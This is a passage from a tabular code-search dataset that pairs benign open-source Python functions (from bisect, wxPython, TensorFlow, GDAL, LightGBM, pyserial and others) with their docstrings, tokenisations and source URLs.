nwo
stringlengths
5
86
sha
stringlengths
40
40
path
stringlengths
4
189
language
stringclasses
1 value
identifier
stringlengths
1
94
parameters
stringlengths
2
4.03k
argument_list
stringclasses
1 value
return_statement
stringlengths
0
11.5k
docstring
stringlengths
1
33.2k
docstring_summary
stringlengths
0
5.15k
docstring_tokens
list
function
stringlengths
34
151k
function_tokens
list
url
stringlengths
90
278
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/tools/python3/src/Lib/bisect.py
python
bisect_right
(a, x, lo=0, hi=None)
return lo
Return the index where to insert item x in list a, assuming a is sorted. The return value i is such that all e in a[:i] have e <= x, and all e in a[i:] have e > x. So if x already appears in the list, a.insert(x) will insert just after the rightmost x already there. Optional args lo (default 0) and hi (default len(a)) bound the slice of a to be searched.
Return the index where to insert item x in list a, assuming a is sorted.
[ "Return", "the", "index", "where", "to", "insert", "item", "x", "in", "list", "a", "assuming", "a", "is", "sorted", "." ]
def bisect_right(a, x, lo=0, hi=None): """Return the index where to insert item x in list a, assuming a is sorted. The return value i is such that all e in a[:i] have e <= x, and all e in a[i:] have e > x. So if x already appears in the list, a.insert(x) will insert just after the rightmost x already there. Optional args lo (default 0) and hi (default len(a)) bound the slice of a to be searched. """ if lo < 0: raise ValueError('lo must be non-negative') if hi is None: hi = len(a) while lo < hi: mid = (lo+hi)//2 # Use __lt__ to match the logic in list.sort() and in heapq if x < a[mid]: hi = mid else: lo = mid+1 return lo
[ "def", "bisect_right", "(", "a", ",", "x", ",", "lo", "=", "0", ",", "hi", "=", "None", ")", ":", "if", "lo", "<", "0", ":", "raise", "ValueError", "(", "'lo must be non-negative'", ")", "if", "hi", "is", "None", ":", "hi", "=", "len", "(", "a", ")", "while", "lo", "<", "hi", ":", "mid", "=", "(", "lo", "+", "hi", ")", "//", "2", "# Use __lt__ to match the logic in list.sort() and in heapq", "if", "x", "<", "a", "[", "mid", "]", ":", "hi", "=", "mid", "else", ":", "lo", "=", "mid", "+", "1", "return", "lo" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/tools/python3/src/Lib/bisect.py#L15-L35
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/msw/xrc.py
python
XmlNode.GetParent
(*args, **kwargs)
return _xrc.XmlNode_GetParent(*args, **kwargs)
GetParent(self) -> XmlNode
GetParent(self) -> XmlNode
[ "GetParent", "(", "self", ")", "-", ">", "XmlNode" ]
def GetParent(*args, **kwargs): """GetParent(self) -> XmlNode""" return _xrc.XmlNode_GetParent(*args, **kwargs)
[ "def", "GetParent", "(", "*", "args", ",", "*", "*", "kwargs", ")", ":", "return", "_xrc", ".", "XmlNode_GetParent", "(", "*", "args", ",", "*", "*", "kwargs", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/msw/xrc.py#L410-L412
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/osx_cocoa/richtext.py
python
RichTextRange.__init__
(self, *args, **kwargs)
__init__(self, long start=0, long end=0) -> RichTextRange Creates a new range object.
__init__(self, long start=0, long end=0) -> RichTextRange
[ "__init__", "(", "self", "long", "start", "=", "0", "long", "end", "=", "0", ")", "-", ">", "RichTextRange" ]
def __init__(self, *args, **kwargs): """ __init__(self, long start=0, long end=0) -> RichTextRange Creates a new range object. """ _richtext.RichTextRange_swiginit(self,_richtext.new_RichTextRange(*args, **kwargs))
[ "def", "__init__", "(", "self", ",", "*", "args", ",", "*", "*", "kwargs", ")", ":", "_richtext", ".", "RichTextRange_swiginit", "(", "self", ",", "_richtext", ".", "new_RichTextRange", "(", "*", "args", ",", "*", "*", "kwargs", ")", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/osx_cocoa/richtext.py#L940-L946
benoitsteiner/tensorflow-opencl
cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5
tensorflow/contrib/layers/python/layers/utils.py
python
n_positive_integers
(n, value)
return (value,) * n
Converts `value` to a sequence of `n` positive integers. `value` may be either be a sequence of values convertible to `int`, or a single value convertible to `int`, in which case the resulting integer is duplicated `n` times. It may also be a TensorShape of rank `n`. Args: n: Length of sequence to return. value: Either a single value convertible to a positive `int` or an `n`-element sequence of values convertible to a positive `int`. Returns: A tuple of `n` positive integers. Raises: TypeError: If `n` is not convertible to an integer. ValueError: If `n` or `value` are invalid.
Converts `value` to a sequence of `n` positive integers.
[ "Converts", "value", "to", "a", "sequence", "of", "n", "positive", "integers", "." ]
def n_positive_integers(n, value): """Converts `value` to a sequence of `n` positive integers. `value` may be either be a sequence of values convertible to `int`, or a single value convertible to `int`, in which case the resulting integer is duplicated `n` times. It may also be a TensorShape of rank `n`. Args: n: Length of sequence to return. value: Either a single value convertible to a positive `int` or an `n`-element sequence of values convertible to a positive `int`. Returns: A tuple of `n` positive integers. Raises: TypeError: If `n` is not convertible to an integer. ValueError: If `n` or `value` are invalid. """ n_orig = n n = int(n) if n < 1 or n != n_orig: raise ValueError('n must be a positive integer') try: value = int(value) except (TypeError, ValueError): sequence_len = len(value) if sequence_len != n: raise ValueError( 'Expected sequence of %d positive integers, but received %r' % (n, value)) try: values = tuple(int(x) for x in value) except: raise ValueError( 'Expected sequence of %d positive integers, but received %r' % (n, value)) for x in values: if x < 1: raise ValueError('expected positive integer, but received %d' % x) return values if value < 1: raise ValueError('expected positive integer, but received %d' % value) return (value,) * n
[ "def", "n_positive_integers", "(", "n", ",", "value", ")", ":", "n_orig", "=", "n", "n", "=", "int", "(", "n", ")", "if", "n", "<", "1", "or", "n", "!=", "n_orig", ":", "raise", "ValueError", "(", "'n must be a positive integer'", ")", "try", ":", "value", "=", "int", "(", "value", ")", "except", "(", "TypeError", ",", "ValueError", ")", ":", "sequence_len", "=", "len", "(", "value", ")", "if", "sequence_len", "!=", "n", ":", "raise", "ValueError", "(", "'Expected sequence of %d positive integers, but received %r'", "%", "(", "n", ",", "value", ")", ")", "try", ":", "values", "=", "tuple", "(", "int", "(", "x", ")", "for", "x", "in", "value", ")", "except", ":", "raise", "ValueError", "(", "'Expected sequence of %d positive integers, but received %r'", "%", "(", "n", ",", "value", ")", ")", "for", "x", "in", "values", ":", "if", "x", "<", "1", ":", "raise", "ValueError", "(", "'expected positive integer, but received %d'", "%", "x", ")", "return", "values", "if", "value", "<", "1", ":", "raise", "ValueError", "(", "'expected positive integer, but received %d'", "%", "value", ")", "return", "(", "value", ",", ")", "*", "n" ]
https://github.com/benoitsteiner/tensorflow-opencl/blob/cb7cb40a57fde5cfd4731bc551e82a1e2fef43a5/tensorflow/contrib/layers/python/layers/utils.py#L323-L369
aws/lumberyard
f85344403c1c2e77ec8c75deb2c116e97b713217
dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/tkinter/tix.py
python
TixWidget.subwidgets_all
(self)
return retlist
Return all subwidgets.
Return all subwidgets.
[ "Return", "all", "subwidgets", "." ]
def subwidgets_all(self): """Return all subwidgets.""" names = self._subwidget_names() if not names: return [] retlist = [] for name in names: name = name[len(self._w)+1:] try: retlist.append(self._nametowidget(name)) except: # some of the widgets are unknown e.g. border in LabelFrame pass return retlist
[ "def", "subwidgets_all", "(", "self", ")", ":", "names", "=", "self", ".", "_subwidget_names", "(", ")", "if", "not", "names", ":", "return", "[", "]", "retlist", "=", "[", "]", "for", "name", "in", "names", ":", "name", "=", "name", "[", "len", "(", "self", ".", "_w", ")", "+", "1", ":", "]", "try", ":", "retlist", ".", "append", "(", "self", ".", "_nametowidget", "(", "name", ")", ")", "except", ":", "# some of the widgets are unknown e.g. border in LabelFrame", "pass", "return", "retlist" ]
https://github.com/aws/lumberyard/blob/f85344403c1c2e77ec8c75deb2c116e97b713217/dev/Tools/Python/3.7.10/linux_x64/lib/python3.7/tkinter/tix.py#L346-L359
catboost/catboost
167f64f237114a4d10b2b4ee42adb4569137debe
contrib/tools/python3/src/Lib/distutils/sysconfig.py
python
get_config_var
(name)
return get_config_vars().get(name)
Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name)
Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name)
[ "Return", "the", "value", "of", "a", "single", "variable", "using", "the", "dictionary", "returned", "by", "get_config_vars", "()", ".", "Equivalent", "to", "get_config_vars", "()", ".", "get", "(", "name", ")" ]
def get_config_var(name): """Return the value of a single variable using the dictionary returned by 'get_config_vars()'. Equivalent to get_config_vars().get(name) """ if name == 'SO': import warnings warnings.warn('SO is deprecated, use EXT_SUFFIX', DeprecationWarning, 2) return get_config_vars().get(name)
[ "def", "get_config_var", "(", "name", ")", ":", "if", "name", "==", "'SO'", ":", "import", "warnings", "warnings", ".", "warn", "(", "'SO is deprecated, use EXT_SUFFIX'", ",", "DeprecationWarning", ",", "2", ")", "return", "get_config_vars", "(", ")", ".", "get", "(", "name", ")" ]
https://github.com/catboost/catboost/blob/167f64f237114a4d10b2b4ee42adb4569137debe/contrib/tools/python3/src/Lib/distutils/sysconfig.py#L547-L555
mantidproject/mantid
03deeb89254ec4289edb8771e0188c2090a02f32
qt/python/mantidqtinterfaces/mantidqtinterfaces/Muon/GUI/Common/fitting_widgets/tf_asymmetry_fitting/tf_asymmetry_fitting_model.py
python
TFAsymmetryFittingModel._get_normalisation_from_tf_asymmetry_simultaneous_function
(self, tf_simultaneous_function: IFunction, domain_index: int)
Returns the normalisation in the specified domain of the TF Asymmetry simultaneous fit function.
Returns the normalisation in the specified domain of the TF Asymmetry simultaneous fit function.
[ "Returns", "the", "normalisation", "in", "the", "specified", "domain", "of", "the", "TF", "Asymmetry", "simultaneous", "fit", "function", "." ]
def _get_normalisation_from_tf_asymmetry_simultaneous_function(self, tf_simultaneous_function: IFunction, domain_index: int) -> float: """Returns the normalisation in the specified domain of the TF Asymmetry simultaneous fit function.""" number_of_datasets = self.fitting_context.number_of_datasets if tf_simultaneous_function is None or domain_index >= number_of_datasets: return DEFAULT_NORMALISATION if number_of_datasets > 1: return tf_simultaneous_function.getParameterValue( self._get_normalisation_function_parameter_for_simultaneous_domain(domain_index)) else: return tf_simultaneous_function.getParameterValue(NORMALISATION_PARAMETER)
[ "def", "_get_normalisation_from_tf_asymmetry_simultaneous_function", "(", "self", ",", "tf_simultaneous_function", ":", "IFunction", ",", "domain_index", ":", "int", ")", "->", "float", ":", "number_of_datasets", "=", "self", ".", "fitting_context", ".", "number_of_datasets", "if", "tf_simultaneous_function", "is", "None", "or", "domain_index", ">=", "number_of_datasets", ":", "return", "DEFAULT_NORMALISATION", "if", "number_of_datasets", ">", "1", ":", "return", "tf_simultaneous_function", ".", "getParameterValue", "(", "self", ".", "_get_normalisation_function_parameter_for_simultaneous_domain", "(", "domain_index", ")", ")", "else", ":", "return", "tf_simultaneous_function", ".", "getParameterValue", "(", "NORMALISATION_PARAMETER", ")" ]
https://github.com/mantidproject/mantid/blob/03deeb89254ec4289edb8771e0188c2090a02f32/qt/python/mantidqtinterfaces/mantidqtinterfaces/Muon/GUI/Common/fitting_widgets/tf_asymmetry_fitting/tf_asymmetry_fitting_model.py#L475-L486
Xilinx/Vitis-AI
fc74d404563d9951b57245443c73bef389f3657f
tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/debug/cli/analyzer_cli.py
python
DebugAnalyzer.list_inputs
(self, args, screen_info=None)
return output
Command handler for inputs. Show inputs to a given node. Args: args: Command-line arguments, excluding the command prefix, as a list of str. screen_info: Optional dict input containing screen information such as cols. Returns: Output text lines as a RichTextLines object.
Command handler for inputs.
[ "Command", "handler", "for", "inputs", "." ]
def list_inputs(self, args, screen_info=None): """Command handler for inputs. Show inputs to a given node. Args: args: Command-line arguments, excluding the command prefix, as a list of str. screen_info: Optional dict input containing screen information such as cols. Returns: Output text lines as a RichTextLines object. """ # Screen info not currently used by this handler. Include this line to # mute pylint. _ = screen_info # TODO(cais): Use screen info to format the output lines more prettily, # e.g., hanging indent of long node names. parsed = self._arg_parsers["list_inputs"].parse_args(args) output = self._list_inputs_or_outputs( parsed.recursive, parsed.node_name, parsed.depth, parsed.control, parsed.op_type, do_outputs=False) node_name = debug_graphs.get_node_name(parsed.node_name) _add_main_menu(output, node_name=node_name, enable_list_inputs=False) return output
[ "def", "list_inputs", "(", "self", ",", "args", ",", "screen_info", "=", "None", ")", ":", "# Screen info not currently used by this handler. Include this line to", "# mute pylint.", "_", "=", "screen_info", "# TODO(cais): Use screen info to format the output lines more prettily,", "# e.g., hanging indent of long node names.", "parsed", "=", "self", ".", "_arg_parsers", "[", "\"list_inputs\"", "]", ".", "parse_args", "(", "args", ")", "output", "=", "self", ".", "_list_inputs_or_outputs", "(", "parsed", ".", "recursive", ",", "parsed", ".", "node_name", ",", "parsed", ".", "depth", ",", "parsed", ".", "control", ",", "parsed", ".", "op_type", ",", "do_outputs", "=", "False", ")", "node_name", "=", "debug_graphs", ".", "get_node_name", "(", "parsed", ".", "node_name", ")", "_add_main_menu", "(", "output", ",", "node_name", "=", "node_name", ",", "enable_list_inputs", "=", "False", ")", "return", "output" ]
https://github.com/Xilinx/Vitis-AI/blob/fc74d404563d9951b57245443c73bef389f3657f/tools/Vitis-AI-Quantizer/vai_q_tensorflow1.x/tensorflow/python/debug/cli/analyzer_cli.py#L874-L908
wlanjie/AndroidFFmpeg
7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf
tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/ctypes/macholib/dyld.py
python
ensure_utf8
(s)
return s
Not all of PyObjC and Python understand unicode paths very well yet
Not all of PyObjC and Python understand unicode paths very well yet
[ "Not", "all", "of", "PyObjC", "and", "Python", "understand", "unicode", "paths", "very", "well", "yet" ]
def ensure_utf8(s): """Not all of PyObjC and Python understand unicode paths very well yet""" if isinstance(s, unicode): return s.encode('utf8') return s
[ "def", "ensure_utf8", "(", "s", ")", ":", "if", "isinstance", "(", "s", ",", "unicode", ")", ":", "return", "s", ".", "encode", "(", "'utf8'", ")", "return", "s" ]
https://github.com/wlanjie/AndroidFFmpeg/blob/7baf9122f4b8e1c74e7baf4be5c422c7a5ba5aaf/tools/fdk-aac-build/armeabi/toolchain/lib/python2.7/ctypes/macholib/dyld.py#L34-L38
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
src/gtk/_misc.py
python
DateTime.__add__
(*args)
return _misc_.DateTime___add__(*args)
__add__(self, TimeSpan other) -> DateTime __add__(self, DateSpan other) -> DateTime
__add__(self, TimeSpan other) -> DateTime __add__(self, DateSpan other) -> DateTime
[ "__add__", "(", "self", "TimeSpan", "other", ")", "-", ">", "DateTime", "__add__", "(", "self", "DateSpan", "other", ")", "-", ">", "DateTime" ]
def __add__(*args): """ __add__(self, TimeSpan other) -> DateTime __add__(self, DateSpan other) -> DateTime """ return _misc_.DateTime___add__(*args)
[ "def", "__add__", "(", "*", "args", ")", ":", "return", "_misc_", ".", "DateTime___add__", "(", "*", "args", ")" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/src/gtk/_misc.py#L4091-L4096
wxWidgets/wxPython-Classic
19571e1ae65f1ac445f5491474121998c97a1bf0
demo/Validator.py
python
TextObjectValidator.Validate
(self, win)
Validate the contents of the given text control.
Validate the contents of the given text control.
[ "Validate", "the", "contents", "of", "the", "given", "text", "control", "." ]
def Validate(self, win): """ Validate the contents of the given text control. """ textCtrl = self.GetWindow() text = textCtrl.GetValue() if len(text) == 0: wx.MessageBox("A text object must contain some text!", "Error") textCtrl.SetBackgroundColour("pink") textCtrl.SetFocus() textCtrl.Refresh() return False else: textCtrl.SetBackgroundColour( wx.SystemSettings_GetColour(wx.SYS_COLOUR_WINDOW)) textCtrl.Refresh() return True
[ "def", "Validate", "(", "self", ",", "win", ")", ":", "textCtrl", "=", "self", ".", "GetWindow", "(", ")", "text", "=", "textCtrl", ".", "GetValue", "(", ")", "if", "len", "(", "text", ")", "==", "0", ":", "wx", ".", "MessageBox", "(", "\"A text object must contain some text!\"", ",", "\"Error\"", ")", "textCtrl", ".", "SetBackgroundColour", "(", "\"pink\"", ")", "textCtrl", ".", "SetFocus", "(", ")", "textCtrl", ".", "Refresh", "(", ")", "return", "False", "else", ":", "textCtrl", ".", "SetBackgroundColour", "(", "wx", ".", "SystemSettings_GetColour", "(", "wx", ".", "SYS_COLOUR_WINDOW", ")", ")", "textCtrl", ".", "Refresh", "(", ")", "return", "True" ]
https://github.com/wxWidgets/wxPython-Classic/blob/19571e1ae65f1ac445f5491474121998c97a1bf0/demo/Validator.py#L124-L140
OSGeo/gdal
3748fc4ba4fba727492774b2b908a2130c864a83
swig/python/osgeo/gdal.py
python
DirEntry.IsDirectory
(self, *args)
return _gdal.DirEntry_IsDirectory(self, *args)
r"""IsDirectory(DirEntry self) -> bool
r"""IsDirectory(DirEntry self) -> bool
[ "r", "IsDirectory", "(", "DirEntry", "self", ")", "-", ">", "bool" ]
def IsDirectory(self, *args): r"""IsDirectory(DirEntry self) -> bool""" return _gdal.DirEntry_IsDirectory(self, *args)
[ "def", "IsDirectory", "(", "self", ",", "*", "args", ")", ":", "return", "_gdal", ".", "DirEntry_IsDirectory", "(", "self", ",", "*", "args", ")" ]
https://github.com/OSGeo/gdal/blob/3748fc4ba4fba727492774b2b908a2130c864a83/swig/python/osgeo/gdal.py#L1624-L1626
hughperkins/tf-coriander
970d3df6c11400ad68405f22b0c42a52374e94ca
tensorflow/contrib/distributions/python/ops/uniform.py
python
Uniform.__init__
(self, a=0., b=1., validate_args=False, allow_nan_stats=True, name="Uniform")
Construct Uniform distributions with `a` and `b`. The parameters `a` and `b` must be shaped in a way that supports broadcasting (e.g. `b - a` is a valid operation). Here are examples without broadcasting: ```python # Without broadcasting u1 = Uniform(3.0, 4.0) # a single uniform distribution [3, 4] u2 = Uniform([1.0, 2.0], [3.0, 4.0]) # 2 distributions [1, 3], [2, 4] u3 = Uniform([[1.0, 2.0], [3.0, 4.0]], [[1.5, 2.5], [3.5, 4.5]]) # 4 distributions ``` And with broadcasting: ```python u1 = Uniform(3.0, [5.0, 6.0, 7.0]) # 3 distributions ``` Args: a: Floating point tensor, the minimum endpoint. b: Floating point tensor, the maximum endpoint. Must be > `a`. validate_args: `Boolean`, default `False`. Whether to validate input with asserts. If `validate_args` is `False`, and the inputs are invalid, correct behavior is not guaranteed. allow_nan_stats: `Boolean`, default `True`. If `False`, raise an exception if a statistic (e.g. mean/mode/etc...) is undefined for any batch member. If `True`, batch members with valid parameters leading to undefined statistics will return NaN for this statistic. name: The name to prefix Ops created by this distribution class. Raises: InvalidArgumentError: if `a >= b` and `validate_args=False`.
Construct Uniform distributions with `a` and `b`.
[ "Construct", "Uniform", "distributions", "with", "a", "and", "b", "." ]
def __init__(self, a=0., b=1., validate_args=False, allow_nan_stats=True, name="Uniform"): """Construct Uniform distributions with `a` and `b`. The parameters `a` and `b` must be shaped in a way that supports broadcasting (e.g. `b - a` is a valid operation). Here are examples without broadcasting: ```python # Without broadcasting u1 = Uniform(3.0, 4.0) # a single uniform distribution [3, 4] u2 = Uniform([1.0, 2.0], [3.0, 4.0]) # 2 distributions [1, 3], [2, 4] u3 = Uniform([[1.0, 2.0], [3.0, 4.0]], [[1.5, 2.5], [3.5, 4.5]]) # 4 distributions ``` And with broadcasting: ```python u1 = Uniform(3.0, [5.0, 6.0, 7.0]) # 3 distributions ``` Args: a: Floating point tensor, the minimum endpoint. b: Floating point tensor, the maximum endpoint. Must be > `a`. validate_args: `Boolean`, default `False`. Whether to validate input with asserts. If `validate_args` is `False`, and the inputs are invalid, correct behavior is not guaranteed. allow_nan_stats: `Boolean`, default `True`. If `False`, raise an exception if a statistic (e.g. mean/mode/etc...) is undefined for any batch member. If `True`, batch members with valid parameters leading to undefined statistics will return NaN for this statistic. name: The name to prefix Ops created by this distribution class. Raises: InvalidArgumentError: if `a >= b` and `validate_args=False`. """ with ops.name_scope(name, values=[a, b]) as ns: with ops.control_dependencies([ check_ops.assert_less( a, b, message="uniform not defined when a > b.") ] if validate_args else []): self._a = array_ops.identity(a, name="a") self._b = array_ops.identity(b, name="b") contrib_tensor_util.assert_same_float_dtype((self._a, self._b)) super(Uniform, self).__init__( dtype=self._a.dtype, parameters={"a": self._a, "b": self._b}, is_reparameterized=True, is_continuous=True, validate_args=validate_args, allow_nan_stats=allow_nan_stats, name=ns)
[ "def", "__init__", "(", "self", ",", "a", "=", "0.", ",", "b", "=", "1.", ",", "validate_args", "=", "False", ",", "allow_nan_stats", "=", "True", ",", "name", "=", "\"Uniform\"", ")", ":", "with", "ops", ".", "name_scope", "(", "name", ",", "values", "=", "[", "a", ",", "b", "]", ")", "as", "ns", ":", "with", "ops", ".", "control_dependencies", "(", "[", "check_ops", ".", "assert_less", "(", "a", ",", "b", ",", "message", "=", "\"uniform not defined when a > b.\"", ")", "]", "if", "validate_args", "else", "[", "]", ")", ":", "self", ".", "_a", "=", "array_ops", ".", "identity", "(", "a", ",", "name", "=", "\"a\"", ")", "self", ".", "_b", "=", "array_ops", ".", "identity", "(", "b", ",", "name", "=", "\"b\"", ")", "contrib_tensor_util", ".", "assert_same_float_dtype", "(", "(", "self", ".", "_a", ",", "self", ".", "_b", ")", ")", "super", "(", "Uniform", ",", "self", ")", ".", "__init__", "(", "dtype", "=", "self", ".", "_a", ".", "dtype", ",", "parameters", "=", "{", "\"a\"", ":", "self", ".", "_a", ",", "\"b\"", ":", "self", ".", "_b", "}", ",", "is_reparameterized", "=", "True", ",", "is_continuous", "=", "True", ",", "validate_args", "=", "validate_args", ",", "allow_nan_stats", "=", "allow_nan_stats", ",", "name", "=", "ns", ")" ]
https://github.com/hughperkins/tf-coriander/blob/970d3df6c11400ad68405f22b0c42a52374e94ca/tensorflow/contrib/distributions/python/ops/uniform.py#L42-L102
microsoft/LightGBM
904b2d5158703c4900b68008617951dd2f9ff21b
.ci/get_workflow_status.py
python
get_status
(runs)
return status
Get the most recent status of workflow for the current PR. Parameters ---------- runs : list List of comment objects sorted by the time of creation in decreasing order. Returns ------- status : str The most recent status of workflow. Can be 'success', 'failure' or 'in-progress'.
Get the most recent status of workflow for the current PR.
[ "Get", "the", "most", "recent", "status", "of", "workflow", "for", "the", "current", "PR", "." ]
def get_status(runs): """Get the most recent status of workflow for the current PR. Parameters ---------- runs : list List of comment objects sorted by the time of creation in decreasing order. Returns ------- status : str The most recent status of workflow. Can be 'success', 'failure' or 'in-progress'. """ status = 'success' for run in runs: body = run['body'] if "Status: " in body: if "Status: skipped" in body: continue if "Status: failure" in body: status = 'failure' break if "Status: success" in body: status = 'success' break else: status = 'in-progress' break return status
[ "def", "get_status", "(", "runs", ")", ":", "status", "=", "'success'", "for", "run", "in", "runs", ":", "body", "=", "run", "[", "'body'", "]", "if", "\"Status: \"", "in", "body", ":", "if", "\"Status: skipped\"", "in", "body", ":", "continue", "if", "\"Status: failure\"", "in", "body", ":", "status", "=", "'failure'", "break", "if", "\"Status: success\"", "in", "body", ":", "status", "=", "'success'", "break", "else", ":", "status", "=", "'in-progress'", "break", "return", "status" ]
https://github.com/microsoft/LightGBM/blob/904b2d5158703c4900b68008617951dd2f9ff21b/.ci/get_workflow_status.py#L59-L88
ChromiumWebApps/chromium
c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7
tools/symsrc/pefile.py
python
Structure.all_zeroes
(self)
return self._all_zeroes
Returns true is the unpacked data is all zeroes.
Returns true is the unpacked data is all zeroes.
[ "Returns", "true", "is", "the", "unpacked", "data", "is", "all", "zeroes", "." ]
def all_zeroes(self): """Returns true is the unpacked data is all zeroes.""" return self._all_zeroes
[ "def", "all_zeroes", "(", "self", ")", ":", "return", "self", ".", "_all_zeroes" ]
https://github.com/ChromiumWebApps/chromium/blob/c7361d39be8abd1574e6ce8957c8dbddd4c6ccf7/tools/symsrc/pefile.py#L697-L700
pirobot/rbx2
2a6544799fcf062e7b6bd5cf2981b2a84c0c7d2a
rbx2_utils/src/rbx2_utils/srv/_LaunchProcess.py
python
LaunchProcessResponse.deserialize_numpy
(self, str, numpy)
unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module
unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module
[ "unpack", "serialized", "message", "in", "str", "into", "this", "message", "instance", "using", "numpy", "for", "array", "types", ":", "param", "str", ":", "byte", "array", "of", "serialized", "message", "str", ":", "param", "numpy", ":", "numpy", "python", "module" ]
def deserialize_numpy(self, str, numpy): """ unpack serialized message in str into this message instance using numpy for array types :param str: byte array of serialized message, ``str`` :param numpy: numpy python module """ try: end = 0 start = end end += 4 (length,) = _struct_I.unpack(str[start:end]) start = end end += length if python3: self.process_id = str[start:end].decode('utf-8') else: self.process_id = str[start:end] return self except struct.error as e: raise genpy.DeserializationError(e)
[ "def", "deserialize_numpy", "(", "self", ",", "str", ",", "numpy", ")", ":", "try", ":", "end", "=", "0", "start", "=", "end", "end", "+=", "4", "(", "length", ",", ")", "=", "_struct_I", ".", "unpack", "(", "str", "[", "start", ":", "end", "]", ")", "start", "=", "end", "end", "+=", "length", "if", "python3", ":", "self", ".", "process_id", "=", "str", "[", "start", ":", "end", "]", ".", "decode", "(", "'utf-8'", ")", "else", ":", "self", ".", "process_id", "=", "str", "[", "start", ":", "end", "]", "return", "self", "except", "struct", ".", "error", "as", "e", ":", "raise", "genpy", ".", "DeserializationError", "(", "e", ")" ]
https://github.com/pirobot/rbx2/blob/2a6544799fcf062e7b6bd5cf2981b2a84c0c7d2a/rbx2_utils/src/rbx2_utils/srv/_LaunchProcess.py#L218-L237
BSVino/DoubleAction
c550b168a3e919926c198c30240f506538b92e75
mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/internal/containers.py
python
BaseContainer.__len__
(self)
return len(self._values)
Returns the number of elements in the container.
Returns the number of elements in the container.
[ "Returns", "the", "number", "of", "elements", "in", "the", "container", "." ]
def __len__(self): """Returns the number of elements in the container.""" return len(self._values)
[ "def", "__len__", "(", "self", ")", ":", "return", "len", "(", "self", ".", "_values", ")" ]
https://github.com/BSVino/DoubleAction/blob/c550b168a3e919926c198c30240f506538b92e75/mp/src/thirdparty/protobuf-2.3.0/python/google/protobuf/internal/containers.py#L66-L68
bigtreetech/BIGTREETECH-SKR-V1.3
b238aa402753e81d551b7d34a181a262a138ae9e
BTT SKR V1.3/firmware/Marlin-2.0.x/buildroot/share/scripts/createTemperatureLookupMarlin.py
python
Thermistor.voltage
(self, adc)
return adc * VSTEP
Convert ADC reading into a Voltage
Convert ADC reading into a Voltage
[ "Convert", "ADC", "reading", "into", "a", "Voltage" ]
def voltage(self, adc): "Convert ADC reading into a Voltage" return adc * VSTEP
[ "def", "voltage", "(", "self", ",", "adc", ")", ":", "return", "adc", "*", "VSTEP" ]
https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/blob/b238aa402753e81d551b7d34a181a262a138ae9e/BTT SKR V1.3/firmware/Marlin-2.0.x/buildroot/share/scripts/createTemperatureLookupMarlin.py#L67-L69
PX4/PX4-Autopilot
0b9f60a0370be53d683352c63fd92db3d6586e18
Tools/px4moduledoc/srcparser.py
python
ModuleDocumentation.__init__
(self, function_calls, scope)
:param function_calls: list of tuples (function_name, [str(arg)])
:param function_calls: list of tuples (function_name, [str(arg)])
[ ":", "param", "function_calls", ":", "list", "of", "tuples", "(", "function_name", "[", "str", "(", "arg", ")", "]", ")" ]
def __init__(self, function_calls, scope): """ :param function_calls: list of tuples (function_name, [str(arg)]) """ self._name = '' self._category = '' self._subcategory = '' self._doc_string = '' self._usage_string = '' self._first_command = True self._scope = scope self._options = '' # all option chars self._explicit_options = '' # all option chars (explicit in the module) self._all_values = [] # list of all values self._all_commands = [] self._paring_implicit_options = False for func_name, args in function_calls: attribute_name = '_handle_'+func_name.lower() try: f = getattr(self, attribute_name) f(args) except AttributeError: raise Exception('unhandled function: PRINT_MODULE_'+func_name) self._usage_string = self._wrap_long_lines(self._usage_string, 17)
[ "def", "__init__", "(", "self", ",", "function_calls", ",", "scope", ")", ":", "self", ".", "_name", "=", "''", "self", ".", "_category", "=", "''", "self", ".", "_subcategory", "=", "''", "self", ".", "_doc_string", "=", "''", "self", ".", "_usage_string", "=", "''", "self", ".", "_first_command", "=", "True", "self", ".", "_scope", "=", "scope", "self", ".", "_options", "=", "''", "# all option chars", "self", ".", "_explicit_options", "=", "''", "# all option chars (explicit in the module)", "self", ".", "_all_values", "=", "[", "]", "# list of all values", "self", ".", "_all_commands", "=", "[", "]", "self", ".", "_paring_implicit_options", "=", "False", "for", "func_name", ",", "args", "in", "function_calls", ":", "attribute_name", "=", "'_handle_'", "+", "func_name", ".", "lower", "(", ")", "try", ":", "f", "=", "getattr", "(", "self", ",", "attribute_name", ")", "f", "(", "args", ")", "except", "AttributeError", ":", "raise", "Exception", "(", "'unhandled function: PRINT_MODULE_'", "+", "func_name", ")", "self", ".", "_usage_string", "=", "self", ".", "_wrap_long_lines", "(", "self", ".", "_usage_string", ",", "17", ")" ]
https://github.com/PX4/PX4-Autopilot/blob/0b9f60a0370be53d683352c63fd92db3d6586e18/Tools/px4moduledoc/srcparser.py#L23-L50
SpenceKonde/megaTinyCore
1c4a70b18a149fe6bcb551dfa6db11ca50b8997b
megaavr/tools/libs/serial/urlhandler/protocol_socket.py
python
Serial.send_break
(self, duration=0.25)
\ Send break condition. Timed, returns to idle state after given duration.
\ Send break condition. Timed, returns to idle state after given duration.
[ "\\", "Send", "break", "condition", ".", "Timed", "returns", "to", "idle", "state", "after", "given", "duration", "." ]
